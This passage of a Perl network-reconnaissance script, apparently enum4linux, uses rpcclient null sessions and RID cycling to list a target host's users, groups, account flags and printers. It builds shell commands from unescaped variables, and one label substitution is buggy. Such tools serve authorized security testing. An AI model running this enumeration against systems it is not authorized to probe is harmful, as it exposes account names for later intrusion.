				my $command = "rpcclient -W '$global_workgroup' -U% '$global_target' -c 'lookupnames $known_username' 2>&1";
				print_info("Assuming that user $known_username exists\n");
				print_verbose("Trying null username and password: $command\n") if $verbose;
				$sid=`$command`;
				if ($sid =~ /error: NT_STATUS_ACCESS_DENIED/) {
					print_error("Couldn't get SID: NT_STATUS_ACCESS_DENIED\n");
					next;
				} else {
					last;
				}
			}
			($sid) = $sid =~ /(S-1-5-21-[\d-]+)-\d+\s+/;
			unless (defined($sid)) {
				print_error("Can't get SID using either a null username or the username \"$global_username\"\n");
				exit 1;
			}
			$logon = "username '', password ''"
		}
		unless (defined($sid)) {
			print_error("Couldn't find SID.  Aborting RID cycling attempt.\n\n");
			return 1;
		}
		print_plus("Enumerating users using SID $sid and logon $logon\n");
		
		# RID Cycle;
		my $last_range = 0;
		my @ranges = split(",", $global_rid_range);
		foreach my $rid_range (@ranges) {
			$last_range = 1 if $rid_range eq $ranges[scalar(@ranges) - 1];
			my ($start_rid, $end_rid);
		
			# Check range is of form n-m (n,m integers)
			if ($rid_range =~ /\d+-\d+/) {
				($start_rid, $end_rid) = $rid_range =~ /^(\d+)-(\d+)$/;
				
			# Check range is of form n (n integer)
			} elsif ($rid_range =~ /^\d+$/) {
				($start_rid, $end_rid) = ($rid_range, $rid_range);
		
			# Invalid range
			} else {
				print "WARNING: RID range $rid_range isn't valid.  Should be like 10-20 or 1199.  Ignoring this range\n";
				next;
			}
		
			# Check we have an ascending range
			if ($start_rid > $end_rid) {	
				print "WARNING: RID range $rid_range seems to be reversed.  Automatically reversing.\n";
				($start_rid, $end_rid) = ($end_rid, $start_rid);
			}
		
			if ($global_search_until_fail) {
				$end_rid = 500000;
			}
	
			my $fail_count = 0;
			if ($global_search_until_fail and $last_range) {
				$end_rid = $heighest_rid;
			}
			foreach my $rid ($start_rid..$end_rid) {
				my $output = `rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' '$global_target' -c 'lookupsids $sid-$rid' 2>&1`;
				my ($sid_and_user) = $output =~ /(S-\d+-\d+-\d+-[\d-]+\s+[^\)]+\))/;
				if ($sid_and_user) {
					$sid_and_user =~ s/\(1\)/(Local User)/;
					$sid_and_user =~ s/\(2\)/(Domain Group)/;
					$sid_and_user =~ s/\(2\)/(Domain User)/;
					$sid_and_user =~ s/\(4\)/(Local Group)/;
	
					# Samba servers sometimes claim to have user accounts
					# with the same name as the UID/RID.  We don't report these.
					if ($sid_and_user =~ /-(\d+) .*\\\1 \(/) {
						$fail_count++;
					} else {
						print "$sid_and_user\n" if $sid_and_user =~ /\((Local|Domain) User\)/;
						print "$sid_and_user\n" if $sid_and_user =~ /\((Local|Domain) Group\)/;
						$fail_count = 0;
						get_user_details_from_rid($rid) if $sid_and_user =~ /\((Local|Domain) User\)/;
						get_group_details_from_rid($rid) if $sid_and_user =~ /\((Local|Domain) Group\)/;
					}
				} else {
					$fail_count++;
				}
				
				if ($global_search_until_fail) {
					last if $fail_count > $global_fail_limit;
				}
			}
		}
	} # foreach sid
}

sub enum_users {
	my @rids;
	my @rids2;
	
	print_heading("Users on $global_target");
	my $command = "rpcclient -W '$global_workgroup' -c querydispinfo -U'$global_username'\%'$global_password' '$global_target' 2>&1";
	print_verbose("Attempting to get userlist with command: $command\n") if $verbose;
	my $users = `$command`;
	if ($users ne "") {
		my $continue = 1;
		if ($users =~ /NT_STATUS_ACCESS_DENIED/) {
			print_error("Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED\n");
		} else {
			($users) = $users =~ /(index:.*)/s;
			print $users;
			$continue = 0;
		}
		my @rids_hex = $users =~ /RID:\s+0x([a-fA-f0-9]+)\s/gs;
		@rids = map { hex($_) } @rids_hex;
	} else {
        	print_error("No response using rpcclient querydispinfo\n");
    	}

	print "\n";
	$command = "rpcclient -W '$global_workgroup' -c enumdomusers -U'$global_username'\%'$global_password' '$global_target' 2>&1";
	print_verbose("Attempting to get userlist with command: $command\n") if $verbose;
	$users = `$command`;
	if ($users ne "") {
		if ($users =~ /NT_STATUS_ACCESS_DENIED/) {
			print_error("Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED\n");
		} else {
			($users) = $users =~ /(user:.*)/s;
			print $users;
		}
		my @rids_hex2 = $users =~ /rid:\[0x([A-Fa-f0-9]+)\]/gs;
		@rids2 = map { hex($_) } @rids_hex2;
	} else {
        	print_error("No response using rpcclient enumdomusers\n");
    	}

	my %rids;
	foreach my $rid (@rids, @rids2) {
		$rids{$rid} = 1;
	}
	foreach my $rid (keys %rids) {
		get_user_details_from_rid($rid);
	}
}

sub get_group_details_from_rid {
	my $rid = shift;
	if (invalid_rid($rid)) {
		print_error("Invalid RID passed: $rid\n");
		return 0;
	}
	return unless $global_detailed;
	my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' -c 'querygroup $rid' '$global_target' 2>&1";
	print_verbose("Attempting to get detailed group info with command: $command\n") if $verbose;
	my $group_info = `$command`;
	($group_info) = $group_info =~ /([^\n]*Group Name.*Num Members[^\n]*)/s;
	if (defined($group_info)) {
		print "$group_info\n\n";
	} else {
		print_error("No info found\n\n");
	}
}

sub get_user_details_from_rid {
	my $rid = shift;
	if (invalid_rid($rid)) {
		print_error("Invalid RID passed: $rid\n");
		return 0;
	}
	return unless $global_detailed;
	my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' -c 'queryuser $rid' '$global_target' 2>&1";
	print_verbose("Attempting to get detailed user info with command: $command\n") if $verbose;
	my $user_info = `$command`;
	($user_info) = $user_info =~ /([^\n]*User Name.*logon_hrs[^\n]*)/s;
	print "$user_info\n" if defined($user_info);
	my ($acb_info) = $user_info =~ /acb_info\s+:\s+0x([0-9a-fA-F]+)/;
	if ($acb_info) {
		my $acb_int = hex($acb_info);
		my $pad = "\t";
		if ($acb_int & 0x00000001) {
			printf $pad . "%-25.25s: %s\n", "Account Disabled", "True";
		} else {
			printf $pad . "%-25.25s: %s\n", "Account Disabled", "False";
		}
		if ($acb_int & 0x00000200) {
			printf $pad . "%-25.25s: %s\n", "Password does not expire", "True";
		} else {
			printf $pad . "%-25.25s: %s\n", "Password does not expire", "False";
		}
		if ($acb_int & 0x00000400) {
			printf $pad . "%-25.25s: %s\n", "Account locked out", "True";
		} else {
			printf $pad . "%-25.25s: %s\n", "Account locked out", "False";
		}
		if ($acb_int & 0x00020000) {
			printf $pad . "%-25.25s: %s\n", "Password expired", "True";
		} else {
			printf $pad . "%-25.25s: %s\n", "Password expired", "False";
		}
		if ($acb_int & 0x00000040) {
			printf $pad . "%-25.25s: %s\n", "Interdomain trust account", "True";
		} else {
			printf $pad . "%-25.25s: %s\n", "Interdomain trust account", "False";
		}
		if ($acb_int & 0x00000080) {
			printf $pad . "%-25.25s: %s\n", "Workstation trust account", "True";
		} else {
			printf $pad . "%-25.25s: %s\n", "Workstation trust account", "False";
		}
		if ($acb_int & 0x00000100) {
			printf $pad . "%-25.25s: %s\n", "Server trust account", "True";
		} else {
			printf $pad . "%-25.25s: %s\n", "Server trust account", "False";
		}
		if ($acb_int & 0x00002000) {
			printf $pad . "%-25.25s: %s\n", "Trusted for delegation", "True";
		} else {
			printf $pad . "%-25.25s: %s\n", "Trusted for delegation", "False";
		}
	}
	print "\n";
}

sub invalid_rid {
	my $rid = shift;
	if ($rid =~ /^\d+$/) {
		return 0;
	} else {
		return 1;
	}
}

sub get_printer_info {
	print_heading("Getting printer info for $global_target");
	my $command = "rpcclient -W '$global_workgroup' -U'$global_username'\%'$global_password' -c 'enumprinters' '$global_target' 2>&1";
	print_verbose("Attempting to get printer info with command: $command\n") if $verbose;
	my $printer_info = `$command`;
	# ($group_info) = $group_info =~ /([^\n]*Group Name.*Num Members[^\n]*)/s;
	if (defined($printer_info)) {
		print "$printer_info\n\n";
	} else {
		print_error("No info found\n\n");
	}

}

sub nbt_to_human {
	my $nbt_in = shift; # multi-line
	my @nbt_in = split (/\n/, $nbt_in);
	my @nbt_out = ();
	foreach my $line (@nbt_in) {
		if ($line =~ /\s+(\S+)\s+<(..)>\s+-\s+?(<GROUP>)?\s+?[A-Z]/) {
			my $line_val = $1;
			my $line_code = uc $2;
			my $line_group = defined($3) ? 0 : 1; # opposite

			foreach my $info_aref (@nbt_info) {
				my ($pattern, $code, $group, $desc) = @$info_aref;
				# print "Matching: line=\"$line\", val=$line_val, code=$line_code, group=$line_group against pattern=$pattern, code=$code, group=$group, desc=$desc\n";
				if ($pattern) {
					if ($line_val =~ /$pattern/ and $line_code eq $code and $line_group eq $group) {
						push @nbt_out, "$line $desc";
						last;
					}
				} else {
					if ($line_code eq $code and $line_group eq $group) {
						push @nbt_out, "$line $desc";
						last;
					}
				}	
			}
		} else {
			push @nbt_out, $line;
		}
	}	
	return join "\n", @nbt_out;
}

sub print_heading {
	my $string = shift;
	my $output = "$string";
	my $maxlen = 100;
	my $len = $maxlen - length($output);
	print "\n";
	print colored(" " . "=" x ($len / 2) . "( ", 'blue');
	print colored("$output", 'green');
	print colored(" )" . "=" x ($len / 2) . "\n\n", 'blue');
}

sub print_verbose {
	my $string = shift;
	my $output = "$string";
	print colored("\n[V] ", 'yellow');
	print colored("$output\n", 'magenta');
}

sub print_plus {
	my $string = shift;
	my $output = "$string";
	print colored("\n[+] ", 'yellow');
	print colored("$output\n", 'green');
}

sub print_info {
	my $string = shift;
	my $output = "$string";
	print colored("\n[I] ", 'yellow');
	print colored("$output\n", 'cyan');
}

sub print_error {
	my $string = shift;
	my $output = "$string";
	print colored("\n[E] ", 'yellow');
	print colored("$output\n", 'red');
}
